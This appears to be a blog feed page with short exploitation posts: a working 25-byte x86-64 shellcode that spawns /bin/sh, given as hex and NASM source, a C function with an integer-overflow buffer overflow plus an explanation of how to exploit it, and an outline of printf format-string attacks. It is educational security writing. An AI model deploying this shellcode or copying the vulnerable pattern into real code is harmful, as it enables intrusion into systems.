Exploitation on System Overlord

Even shorter x86-64 shellcode

david@systemoverlord.com (David Tomaschik) — Wed, 27 Apr 2016 00:00:00 +0000

So about two years ago, I put together the shortest x86-64 shellcode for execve("/bin/sh",...); that I could. At the time, it was 25 bytes, which I thought was pretty damn good. However, I’m a perfectionist and so I spent some time before work this morning playing shellcode golf. The rules of my shellcode golf are pretty simple:

The shellcode must produce the desired effect.
It doesn’t have to do things cleanly (i.e., segfaulting after is OK, as is using APIs in unusual ways, so long as it works)
It can assume the stack pointer is at a place where it will not segfault and it will not overwrite the shellcode itself.
No NULLs. While there might be other constraints, this one is too common to not have as a default.

So, spending a little bit of time on this, I came up with the following 22 byte shellcode:

Minimal x86-64 shellcode for /bin/sh?

david@systemoverlord.com (David Tomaschik) — Thu, 05 Jun 2014 01:54:22 +0000

I was trying to figure out the minimal shellcode necessary to launch /bin/sh from a 64-bit processor, and the smallest I could come up with is 25 bytes: \x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05.

This was produced from the following source:

BITS 64

main:
 mov rbx, 0xFF978CD091969DD1
 neg rbx
 push rbx
 xor eax, eax
 cdq
 xor esi, esi
 push rsp
 pop rdi
 mov al, 0x3b ; sys_execve
 syscall

Compile with nasm, examine the output with objdump -M intel -b binary -m i386:x86-64 -D shellcode.

Integer Overflow Vulnerabilities

david@systemoverlord.com (David Tomaschik) — Thu, 27 Feb 2014 04:01:07 +0000

What’s wrong with this code (other than the fact the messages are discarded)?

#!c
void read_messages(int fd, int num_msgs) {
 char buf[1024];
 size_t msg_len, bytes_read = 0;

 while(num_msgs--) {
 read(fd, &msg_len, sizeof(size_t));
 if (bytes_read + msg_len > sizeof(buf)) {
 printf("Buffer overflow prevented!\n");
 return;
 }
 bytes_read += read(fd, buf+bytes_read, msg_len);
 }
}

If you answered “nothing”, you’d be missing a significant security issue. In fact, this function contains a trivial buffer overflow. By supplying a length 0 < len_a < 1024 for the first message, then a length INT_MAX-len_a ≤ len_b < UINT_MAX, the value bytes_read + msg_len wraps around past UINT_MAX and is less than sizeof(buf). Then the read proceeds with its very large value, but can only read as much data as is available on the file descriptor (probably a socket, if this is a remote exploit). So by supplying enough data on the socket, the buffer will be overflowed, allowing to overwrite the saved EIP.

printf Format String Exploitation

david@systemoverlord.com (David Tomaschik) — Wed, 12 Feb 2014 07:16:01 +0000

The format string in a printf statement is responsible for significant flow control within the program, and, if attacker-controlled, can be used to exploit the application in various ways. Specifically, an attacker can read and write arbitrary memory.

Reading memory can be accomplished through the usual operators, and the GNU extension of %<x>$ allows you to jump through the stack to arbitrary positions (as a multiple of the addressing size, anyway). The %n format specifier allows to write to a memory address: the address at that point on the stack is taken as an int *, and the number of bytes output so far will be written to the address. So this allows us to write a value by outputting the number of bytes for the value we want to write.